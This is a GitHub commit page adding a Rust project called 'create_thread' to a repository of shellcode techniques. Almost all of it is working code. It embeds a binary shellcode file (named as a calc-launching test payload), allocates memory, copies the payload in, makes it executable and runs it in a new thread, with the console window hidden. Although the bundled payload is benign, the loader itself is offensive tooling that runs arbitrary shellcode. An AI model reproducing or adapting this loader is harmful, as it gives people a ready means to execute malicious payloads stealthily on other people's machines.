8000 add create_thread · b1nhack/rust-shellcode@5c3ff12 · GitHub
[go: up one dir, main page]

Skip to content

Commit 5c3ff12

Browse files
author
test
committed
add create_thread
1 parent d0bb544 commit 5c3ff12

File tree

2 files changed

+51
-0
lines changed

2 files changed

+51
-0
lines changed

create_thread/Cargo.toml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
[package]
2+
name = "create_thread"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
windows-sys = { version = "0.45.0", features = ["Win32_System_Memory", "Win32_Foundation", "Win32_System_Threading", "Win32_Security"] }

create_thread/src/main.rs

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use std::mem::transmute;
4+
use std::ptr::{copy, null, null_mut};
5+
use windows_sys::Win32::Foundation::{FALSE, WAIT_FAILED};
6+
use windows_sys::Win32::System::Memory::{
7+
VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
8+
};
9+
use windows_sys::Win32::System::Threading::{CreateThread, WaitForSingleObject};
10+
11+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
12+
static SIZE: usize = SHELLCODE.len();
13+
14+
fn main() {
15+
let mut old = PAGE_READWRITE;
16+
17+
unsafe {
18+
let dest = VirtualAlloc(null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
19+
if dest == null_mut() {
20+
eprintln!("VirtualAlloc failed!");
21+
return;
22+
}
23+
24+
copy(SHELLCODE.as_ptr(), dest as *mut u8, SIZE);
25+
26+
let res = VirtualProtect(dest, SIZE, PAGE_EXECUTE, &mut old);
27+
if res == FALSE {
28+
eprintln!("VirtualProtect failed!");
29+
return;
30+
}
31+
32+
let dest = transmute(dest);
33+
34+
let thread = CreateThread(null(), 0, dest, null(), 0, null_mut());
35+
if thread == 0 {
36+
eprintln!("CreateThread failed!");
37+
return;
38+
}
39+
40+
WaitForSingleObject(thread, WAIT_FAILED);
41+
}
42+
}

0 commit comments

Comments
 (0)
0